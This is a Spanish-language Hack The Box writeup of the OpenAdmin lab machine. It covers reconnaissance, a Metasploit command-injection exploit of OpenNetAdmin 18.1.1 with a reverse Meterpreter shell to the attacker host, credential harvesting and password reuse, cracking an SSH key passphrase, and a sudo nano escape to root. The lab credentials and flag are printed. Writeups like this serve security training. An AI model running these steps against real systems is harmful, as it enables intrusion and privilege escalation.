OpenAdmin
Hack The Box — Writeup
Openadmin
| IP: | 10.129.22.246 |
| OS: | Linux |
| Dificultad: | Easy |
| Fecha: | 3 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn "$target_ip" -oG allPorts
# Output
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Se identificaron dos puertos abiertos: el puerto 22 (SSH) y el puerto 80 (HTTP). El puerto 22 fue descartado como vector inicial al requerir credenciales válidas, constituyendo el puerto 80 (HTTP) el único vector de ataque disponible.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Hallazgo: al analizar las versiones de los servicios identificados se detectó que el servidor web corre Apache 2.4.29, versión desactualizada con múltiples CVE públicas asociadas.
Hipótesis: se investigaron las vulnerabilidades conocidas para esta
versión, identificándose entre las más relevantes: CVE-2017-15715
(subida arbitraria de archivos con potencial de RCE), CVE-2018-1312
(replay attack en mod_auth_digest) y CVE-2017-9798 (Optionsbleed, fuga
de memoria vía petición HTTP OPTIONS). Ninguna fue explotada en este
punto al no contar aún con suficiente contexto de la aplicación para
determinar cuál era aplicable.
Enumeración
Enumeración web inicial
Al acceder al puerto 80 se identificó la página por defecto de Apache, lo cual indica que el servidor está activo pero no expone directamente ninguna aplicación en la raíz.

Dado que la página principal no reveló contenido de valor, se procedió a realizar un escaneo con Feroxbuster para enumerar rutas y archivos adicionales.
# Comando ejecutado
feroxbuster -u http://10.129.22.246/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt
# Output relevante
301 GET 9l 28w 316c http://10.129.22.246/artwork
301 GET 9l 28w 314c http://10.129.22.246/music
301 GET 9l 28w 312c http://10.129.22.246/ona
200 GET 0l 0w 0c http://10.129.22.246/ona/local/config/database_settings.inc.php
200 GET 51l 84w 1201c http://10.129.22.246/ona/local/config/motd.txt.example
Observación: entre los resultados del escaneo destacaron dos archivos
de texto accesibles públicamente dentro del directorio
/artwork/fonts/:
curl -O http://10.129.22.246/artwork/fonts/icomoon/Read%20Me.txt
% Total % Received % Xferd
100 748 100 748 0 0 3765 0
cat Read%20Me.txt
Open *demo.html* to see a list of all the glyphs in your font
along with their codes/ligatures.
[...]
You can import *selection.json* back to the IcoMoon app using the
*Import Icons* button to retrieve your icon selection.
curl -O http://10.129.22.246/artwork/fonts/flaticon/backup.txt
cat backup.txt
eyIxIjp7IklEIjoxLCJuYW1lIjoiTXkgaWNvbnMgY29sbGVjdGlvbiIsImJv
b2ttYXJrX2lkIjoibWxwbDh5YmFqeTAwMDAwMCIsImNyZWF0ZWQiOm51bGws
[...Base64 truncado...]
Conclusión: tras revisar ambos archivos se determinó que
Read%20Me.txt corresponde a documentación de la librería de iconos
IcoMoon, y backup.txt contiene un JSON codificado en Base64 con
metadata de una colección de iconos de la misma librería. Ninguno
presentó valor para el proceso de explotación y ambos fueron descartados
como vectores de ataque.
El hallazgo más relevante del escaneo fue el directorio /ona/, que al
acceder desde el navegador reveló una instalación de OpenNetAdmin
(ONA).
Identificación de OpenNetAdmin

La interfaz confirmó la versión v18.1.1 de OpenNetAdmin. Se investigó si dicha versión contaba con vulnerabilidades públicas conocidas.
Intento fallido — lectura del archivo de configuración vía HTTP:
curl http://10.129.22.246/ona/local/config/database_settings.inc.php
Por qué no funcionó: el archivo devuelve 0 bytes vía HTTP porque el servidor lo procesa como PHP y no expone su contenido directamente. Para leerlo se requiere acceso al sistema de archivos.
Explotación
Búsqueda y ejecución del exploit
searchsploit opennetadmin 18.1.1
Exploit Title | Path
-------------------------------------------------|------------------
OpenNetAdmin 18.1.1 - Command Injection Exploit | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | php/webapps/47691.sh
Se identificó un módulo de Metasploit correspondiente a una inyección de comandos en la funcionalidad de ping de OpenNetAdmin.
msf > search -type exploit -name opennetadmin 18.1.1
# Name Rank
- ---- ----
0 exploit/unix/webapp/opennetadmin_ping_cmd_injection excellent
Intento fallido — payload incorrecto (linux/x86):
msf exploit(unix/webapp/opennetadmin_ping_cmd_injection) > run
[*] Started reverse TCP handler on 10.10.15.163:4444
[*] Exploiting...
[*] Command Stager progress - 100.00% done (704/704 bytes)
[*] Exploit completed, but no session was created.
Por qué no funcionó: el payload por defecto
linux/x86/meterpreter/reverse_tcp es incompatible con la arquitectura
x64 del servidor objetivo. Al cambiar el payload a
generic/shell_reverse_tcp también falló por un error de dirección
inválida relacionado con la configuración del LHOST.
Solución: se utilizó el payload específico para arquitecturas x64 y se ajustó el puerto:
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 10.10.15.163
set LPORT 5555
set RHOSTS 10.129.22.246
run
[*] Started reverse TCP handler on 10.10.15.163:5555
[*] Exploiting...
[*] Sending stage (3090404 bytes) to 10.129.22.246
[*] Meterpreter session 1 opened (10.10.15.163:5555 -> 10.129.22.246:34354)
[*] Command Stager progress - 100.00% done (809/809 bytes)
Enumeración inicial como www-data
Desde Meterpreter se accedió a una shell interactiva:
meterpreter > shell
Process 2859 created.
Channel 1 created.
whoami
www-data
pwd
/opt/ona/www
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Intento fallido — estabilización con python3:
python3 -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 8: 1python3: not found
Por qué no funcionó: el sistema no tiene python3 instalado por
defecto. Se intentó con python (versión 2):
python -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 16: python: not found
Solución: se estabilizó la sesión con el comando script:
script /dev/null -c bash
Script started, file is /dev/null
www-data@openadmin:/opt/ona/sql$
Enumeración de binarios SUID
find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/bin/ping
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/snap/core/7270/bin/mount
/snap/core/7270/bin/ping
[...binarios de snap omitidos por extensi\'on...]
Observación: Snap es el sistema de gestión de paquetes de Ubuntu
(Canonical) que empaqueta aplicaciones con todas sus dependencias en
contenedores aislados. Los binarios bajo /snap/core/7270/ y
/snap/core/8039/ son copias de binarios estándar del sistema dentro de
esos paquetes, no vectores de escalada independientes. Todos los
binarios SUID identificados corresponden a utilidades estándar sin
configuración explotable en el contexto actual. Se descartó esta vía.
Obtención de credenciales de base de datos
Se navegó por el sistema de archivos en busca de información sensible, localizando el archivo de configuración de base de datos de ONA:
cat /opt/ona/www/local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?>
Hallazgo: se obtuvieron credenciales de base de datos en texto
plano: usuario ona_sys y contraseña n1nj4W4rri0R!.
Se identificó que el sistema contaba con dos usuarios con shell válida:
cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash
Hipótesis: se planteó la reutilización de la contraseña obtenida del archivo de configuración para autenticarse como alguno de los usuarios del sistema.
su jimmy
Password: n1nj4W4rri0R!
jimmy@openadmin:/opt/ona/www/local/config$
Resultado: la contraseña de la base de datos fue reutilizada por el
usuario jimmy, confirmando el pivote al primer usuario del sistema.
Escalada de Privilegios
Enumeración como jimmy
ls -la /var/www/
total 16
drwxr-xr-x 4 root root 4096 Nov 22 2019 .
drwxr-xr-x 14 root root 4096 Nov 21 2019 ..
drwxr-xr-x 6 www-data www-data 4096 Nov 22 2019 html
drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 internal
lrwxrwxrwx 1 www-data www-data 12 Nov 21 2019 ona -> /opt/ona/www
Hallazgo: se identificó un directorio internal propiedad del grupo
internal, al cual jimmy tiene acceso como miembro de dicho grupo.
cat /var/www/internal/main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
Hallazgo: el archivo main.php ejecuta directamente
cat /home/joanna/.ssh/id_rsa y muestra el resultado en pantalla. Como
jimmy no tiene acceso directo al directorio .ssh de joanna, se
identificó que dicho script es servido por un servidor web interno
accesible únicamente desde localhost.
ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 127.0.0.1:52846 0.0.0.0:*
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
Observación: el puerto 127.0.0.1:52846 corresponde al servidor web
interno que sirve la aplicación /var/www/internal/, inaccesible desde
el exterior. Desde la shell actual se realizó una petición directa a
dicho servicio:
curl http://127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
[...clave completa omitida por extensi\'on...]
-----END RSA PRIVATE KEY-----
</pre>
Resultado: se obtuvo la clave privada RSA cifrada de joanna.
Crackeo de la passphrase de la clave SSH
Se copió la clave a la máquina atacante y se procedió a crackear la passphrase:
ssh2john joanna_rsa > joanna.hash
john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt joanna.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Will run 12 OpenMP threads
bloodninjas (joanna_rsa)
1g 0:00:00:01 DONE (2026-07-03 07:34)
Session completed
Resultado: passphrase obtenida: bloodninjas.
Acceso SSH como joanna
ssh -i joanna_rsa [email protected]
Enter passphrase for key 'joanna_rsa':
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
joanna@openadmin:~$ whoami
joanna
joanna@openadmin:~$ cat user.txt
375ba71925a8dd276d9d4713e96a1226
joanna@openadmin:~$ sudo -l
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
Hallazgo: joanna puede ejecutar /bin/nano sobre el archivo
/opt/priv como root sin contraseña. Consultando GTFOBins bajo la
categoría sudo, se confirmó que nano permite escapar a una shell del
sistema mediante la funcionalidad de ejecución de comandos del lector de
archivos integrado.
Intento fallido — Ctrl+T (spell checker)
Hipótesis: según una entrada de GTFOBins, nano permite ejecutar
comandos externos mediante Ctrl+T, que invoca el corrector ortográfico
configurado.
sudo /bin/nano /opt/priv
# Dentro de nano: Ctrl+T -> /bin/sh
[ Spell checking failed: Error invoking "spell":
Inappropriate ioctl for device ]
Por qué no funcionó: la máquina no tiene un corrector ortográfico
(spell) instalado, y además la shell obtenida vía Meterpreter carecía
de una TTY adecuada para invocar ese mecanismo.
Intento fallido — redirección a archivo
Hipótesis: se intentó ejecutar /bin/sh mediante Ctrl+R
$\rightarrow$ Ctrl+X y redirigir el output de comandos a un archivo
temporal para sortear la falta de output visible.
# Dentro de nano: Ctrl+R -> Ctrl+X -> /bin/sh
# Luego en la shell ciega:
whoami > /tmp/test.txt
# Fuera de nano:
cat /tmp/test.txt
joanna
Por qué no funcionó: los comandos se ejecutaban como joanna en
lugar de root, lo que indica que el sudo no estaba transfiriendo
correctamente los privilegios desde la shell de Meterpreter, que carece
de una TTY válida.
Escalada exitosa — reset con redirección de descriptores
Desde una sesión SSH directa como joanna, se ejecutó el comando
correcto encontrado en GTFOBins:
sudo /bin/nano /opt/priv
# Dentro de nano: Ctrl+R -> Ctrl+X
reset; sh 1>&0 2>&0
Observación: el comando reset; sh 1>&0 2>&0 reinicia la terminal y
redirige tanto la salida estándar como el error estándar al descriptor 0
(stdin), forzando que el output sea visible en la terminal actual.
Resultado: se obtuvo una shell interactiva con privilegios de
root:
# whoami
root